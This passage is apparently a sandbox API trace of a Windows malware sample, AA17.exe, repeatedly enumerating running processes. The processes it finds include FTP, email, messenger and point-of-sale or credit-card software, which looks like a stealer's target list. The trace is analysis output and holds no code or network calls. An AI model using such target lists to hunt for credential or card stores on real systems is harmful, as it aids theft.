lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0237.062] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0237.064] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.066] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.068] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.070] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.072] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.075] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.077] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.079] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.081] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.083] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.085] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.087] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.089] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.092] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0237.094] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0237.096] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.098] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0237.100] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0237.102] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0237.104] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0237.106] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0237.109] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0237.111] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0237.112] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0237.114] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0237.116] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0237.118] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0237.121] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0237.123] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0237.125] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0237.127] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0237.129] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0237.130] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0237.132] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0237.134] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0237.136] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0237.138] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0237.140] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0237.142] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0237.144] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0237.146] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0237.148] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0237.150] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0237.152] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0237.295] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0237.298] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0237.300] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.302] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0237.304] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.306] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0237.308] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0237.309] CloseHandle (hObject=0x148c) returned 1 [0237.309] Sleep (dwMilliseconds=0x64) [0237.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0237.333] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.335] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.337] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.339] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.341] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.342] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.344] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.345] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.347] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.349] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.351] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.353] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.354] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.356] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.357] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.360] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.362] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.363] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.365] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.366] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.368] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.370] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.371] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.373] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.375] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0237.376] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0237.378] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.380] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.382] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.384] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0237.386] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 